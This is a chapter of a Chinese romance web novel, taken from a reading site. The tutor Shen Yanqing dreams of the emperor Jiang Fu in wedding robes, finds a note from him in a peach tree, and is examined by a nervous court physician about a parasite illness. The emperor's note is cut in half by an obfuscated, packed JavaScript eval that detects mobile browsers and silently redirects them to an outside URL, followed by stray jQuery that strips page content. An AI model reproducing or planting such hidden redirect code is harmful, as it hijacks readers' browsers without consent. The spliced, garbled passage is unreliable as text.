默认冷灰
24号文字
方正启体

57.等会脑子转不过来

作者:西飞陇山去本书字数:K更新时间:
    沈厌卿做了个很短的梦。


    梦里他着月白衣裳,穿过曲折回廊,穿过花丛,穿过层层帷幕。


    有虫声鸟鸣,有涓涓流水声,绕在身畔。


    他因此身心都轻盈起来,甘心走在这似乎无休止的路上。


    姜孚在路的尽头等他,一身红衣。


    和他以前所梦到的都不同。


    这一次的姜孚,是成年后的面容。


    他走过去,姜孚就低下头看他。


    眉峰投下阴影,眼神如春水般柔和。


    和十四年前的那个雨夜一样,姜孚执起他的手,说出相同的话。


    “本王,一定不负先生。”


    沈厌卿看着二人交握的手,忽然发现自己的衣服也变成了与对方一样的红色。


    云肩霞帔,鸳鸯图。


    两只鸳鸯,都是晃眼的彩色。


    鱼水纹中,荷花挺出水面,鱼儿跃起,去抿粉白花瓣的尖。


    沉溺于欢愉之中,全然忘了一切苦恼。


    这是一套婚服。


    沈厌卿本该惊讶,本该慌张,可实际上心中却一点波澜也没起。


    或是因为在梦中,他的一切思绪都柔柔地化作了泡影,飘在空中。


    就像是被温水洗净过那样舒适。


    明明是有奇怪的地方的。


    梦中的姜孚看起来有二十岁,却仍自称“本王”,为什么呢?


    沈厌卿转过脸去,看向身侧。


    周围的景致都消失了,四面都像是垂了帘水,映着他的影子。


    他在那其中看见了自己的脸。


    一十八岁。


    他没有变,依旧是和姜孚初遇的年纪。


    他轻咦出声的时候,水帘倏然旋转起来,融化了一切。


    梦境逐渐变得稀薄,有光透进来。


    柔而暖的,亮而明的。


    照着他,好像能原谅、化去他的一切罪孽。


    ……


    沈厌卿醒过来。


    身边的位置已经冷了,只留着空空的被子小心掀开过的印痕。


    窗纸透进阳光,晒着木案花瓶,散出些令人心中发懒的气味儿。


    沈厌卿睁着眼,盯着床顶,决定再躺一会。


    外面的窗边上落了只鸟,娇小玲珑,远看去只觉得约莫半掌大。


    啄了三下窗框,清脆鸣叫了两声,又飞去了。


    沈厌卿伸手拉过软枕,像昨晚那样垫在背后,坐起来发呆。


    他不出声,外面的人就以为他还在睡,就不会进来。


    他也就可再偷得半刻安逸。


    梦里的事被他颠来倒去地想,渐渐也快忘净了。


    最后他的印象,也只剩下姜孚与他相握的手。


    周公要提示他什么呢?


    若他与姜孚,真是都在二十上下的年纪相识;


    是不是现在又是另一副光景?


    不过,那他也没什么用了。


    年纪那么小,能帮上什么事呢?


    他一想起那两身婚服,心里就乱起来,手上拧了几下被子角。


    都是昨儿夜里听杨家余家那些事,婚不婚的,留了印象,扰了心神。


    眼下正多事之秋,还有闲挂心那些小事,他这真是掉链子不争气……


    为了打断自己乱想,他开口叫了一声:


    “宁蕖。”


    声音虽不高,那蓝衣服的内侍却立刻就开了门进来:


    “沈大人。”


    宁蕖朝他点头,恭敬等他吩咐。


    沈厌卿想了想,也没想到什么事情。


    姚伏约他三天后见面,这三天他就闲着了。


    荣宁府起出的东西,令人捎了信去知会文州,眼下距有回信也还早。


    捉住的内鬼也处理过了,前面兵部户部的事也决议了……


    还有什么事能做呢?


    说来也怪,他在皪山上天天都无事做,日子流水一样过,也没觉得有什么不妥;


    可是一回来,一吸了京城的空气,就觉得人不能闲着了。


    操心这个,操心那个的,唯恐一点儿不察就有什么危害着皇帝。


    实际上人家学生自己过了这六年也没什么事。


    如今及了冠更稳重,阅历更多,更是用不着他上蹿下跳的了。


    曾威风一时,无事不管的沈帝师无奈叹了口气,道:


    “我起来梳洗,备件平常衣服吧。”


    今日估计是不用出门了。


    虽然沈帝师是这么吩咐下去的,丰荷奉上来的依旧是布料流光溢彩的新衣。


    也不知道这么穿下去,姜孚的私库还经不经得起花。


    早膳的时辰过了,小厨房临时开火,算是鼓捣了一顿提前的午膳。


    沈厌卿吃过了,就踱到庭院中闲逛。


    披香苑占地不小,布置又多,用心去赏玩的话,确实能消磨不少时间。


    可惜沈少傅是劳碌命,只要有事惦记着,心里就踏实不下来。


    走来走去,也只是乱转圈。


    花开的正好,正是最旺盛最鲜灵的时候。


    琼白碎粉敷满枝头,光是看着都让人觉得神清气爽,沾过了些精气神儿。


    沈厌卿虽知道自己身体的情况,却也悲观不起来,悠然赏着花草。


    一想到都是姜孚安排种下的,他就觉得须得好好看看才对得起自己这学生。


    至于那莫名其妙在回京后又开始作妖,令他身体状况日下的蛊虫……


    唉,再说吧,再说吧。


    他是知道自己早该死了的,这些年也是偷来的。


    可是一看见姜孚对他那么依赖信任,俨然一副不舍得他的样子;


    沈帝师又觉得,还得努力活一活。


    荣宁的记录不也都得到了?


    接下来就是问问鹿慈英如何解——


    为了提防那些书籍中有不利的内容或是消息,沈厌卿和姜孚商议后决定:


    暂不将原件全部送往文州,只抽取其中极少部分抄录,再交给鹿慈英看过。


    同时秘密召他入京——虽成功率接近为零,但也不得不尝试。


    毕竟若是能在眼皮子底下看着,才是最安全的。


    至于慈英太子教的首领为保全自身,用头发丝想都知道不会离开文州皪山……


    那就是另外的事情了。


    沈厌卿揣起手,不自觉哼起小调儿来。


    想到的都做到了,事情还算顺利嘛。


    他喂过锦鲤,闲闲修了两根花枝准备回去插瓶,又转回到正殿附近。


    正门前的桃树是最高最盛的,他贴过去嗅了嗅花心的香气,忽然瞟见树枝间搭着张明黄色字条。


    沈厌卿小心取下,争取不碰掉半片花瓣。


    是姜孚的字。


    “已令太医院都备着了。老师若


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15340421|164822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有心情,可唤他们来看看。”


    ……原来是为这事,藏着干什么呢?


    直接叫人来,他又不会把治病救人的太医们赶出去。


    沈厌卿摇摇头,随手把纸条递给宁蕖:


    “去吧,有劳你了。”


    ……


    太医院显然是绷紧了十二分精神,一得传唤就立刻来了人。


    来人是个品级不小的,虽才中年,却有了几分慈眉善目的面相。


    带着助手,却亲自拖着个巨大的带着轮子的药箱,看着几乎能塞个人进去。


    沈厌卿见是熟人,立刻展开笑颜:


    “是陆大人啊。”


    “经年不见,陆大人珍藏的罐子可还好?”


    当年圣人刚登基后,负责给沈帝师问诊的太医们中,正有这样一位陆太医。


    而当年还算年轻,偷偷私下找帝师诉苦,说“自己骨灰罐都准备好了,若出了差错就得拿头顶罪”的那位活泼的太医,也正是此人。


    陆太医擦汗:


    “还好,都好。”


    “最重要的还是,沈大人得好。”


    他开了药箱,取出腕枕,示意沈大人把手搭上来。


    先诊脉吧。


    “……”


    沈厌卿看着陆太医紧紧皱起的眉头,竟自己先笑起来了。


    “怕什么呢!”


    “我都和陛下说了,这不是病,是蛊,解不开也是正常。陛下向来仁慈,又怎么会因为这件事为难你们?”


    这不就为难了吗!陆太医心中叫苦。


    这件事暗中通知到太医院后,太医院内上上下下都鸡飞狗跳,惊恐不已。


    尤其是家近苗疆那边的,立刻被拎了出来盘问。


    被拎出来的那位在百般催促之下不得不无奈大叫:


    我早说了!!我们苗疆不是人人都会蛊术!!


    你们信我啊!!


    饶是如此,还是被抓来当助手。


    当年经手过沈帝师的老太医停下退休养老的休闲日子,爬起来,贴在医书上艰难阅读;


    年轻的则都探头探脑,一个个按捺不住要去见见这位传奇人物。


    被陛下偷偷传回来了,还捂着不叫人知道,还赏了后宫的庭院住……


    这是要干什么?


    看来不久后,这位大人或许还能有新的传奇。


    闹腾了一阵,最后被推出来的还是所谓年富力强的陆太医。


    陆太医跟着来传的宫人,视死如归地出发了,发誓这次无论如何也要治出个名头来。


    旁人有所不知,这些年来他勤学苦练,照着记下的病情反复琢磨;


    虽然在得知实是蛊虫作祟之后这些都没用了——


    但他要治好沈帝师的决心,还是有实甸甸的一颗的。


    陆太医搬出自己毕生所学,和这几年的精心分析的笔记、辛苦攒下的药材、挖门盗洞寻到的药方,摆了满桌子。


    口若悬河,恨不得当场把沈帝师给说好。


    沈帝师也听的进去,一直认真微笑着,时而赞许点点头。


    表示:


    随便治吧,治不死就成。


    就是真死了也没事,反正本来也要死的。


    陆太医中场休息,端起宁蕖奉来的茶喝一口,准备再战一个时辰。


    他面前的沈帝师却看向他身后,笑容陡然放大:


    “啊,陛下。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)